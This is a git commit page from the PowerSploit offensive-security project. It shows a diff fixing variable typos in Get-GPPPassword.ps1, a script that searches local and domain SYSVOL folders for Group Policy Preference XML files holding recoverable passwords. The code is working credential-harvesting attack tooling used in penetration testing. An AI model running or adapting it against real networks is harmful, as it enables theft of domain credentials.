aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorHarmJ0y <will@harmj0y.net>2017-01-09 18:11:15 -0500
committerHarmJ0y <will@harmj0y.net>2017-01-09 18:11:15 -0500
commit215ec25da051770bed4e6119f6e911f0ac5e11f7 (patch)
tree46f3f43c769110765e78ec7bde2e55c03befd68e
parent3f7a32d6237caa037b870aaa941a35e3761bf13c (diff)
downloadPowerSploit-215ec25da051770bed4e6119f6e911f0ac5e11f7.tar.gz
PowerSploit-215ec25da051770bed4e6119f6e911f0ac5e11f7.zip
Bug fixes in Get-GPPPassword
-rw-r--r--Exfiltration/Get-GPPPassword.ps113
1 files changed, 9 insertions, 4 deletions
diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1
index bb58667..f7be74c 100644
--- a/Exfiltration/Get-GPPPassword.ps1
+++ b/Exfiltration/Get-GPPPassword.ps1
@@ -296,12 +296,17 @@ http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
}
try {
- $XMlFiles = @()
+ $XMLFiles = @()
$Domains = @()
+ $AllUsers = $Env:ALLUSERSPROFILE
+ if (-not $AllUsers) {
+ $AllUsers = 'C:\ProgramData'
+ }
+
# discover any locally cached GPP .xml files
Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
- $MlFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
+ $XMLFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
if ($SearchForest) {
Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
@@ -325,11 +330,11 @@ http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
$DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')
if($DomainXMLFiles) {
- $XMlFiles += $DomainXMLFiles
+ $XMLFiles += $DomainXMLFiles
}
}
- if ( -not $XMlFiles ) { throw '[Get-GPPPassword] No preference files found.' }
+ if ( -not $XMLFiles ) { throw '[Get-GPPPassword] No preference files found.' }
Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."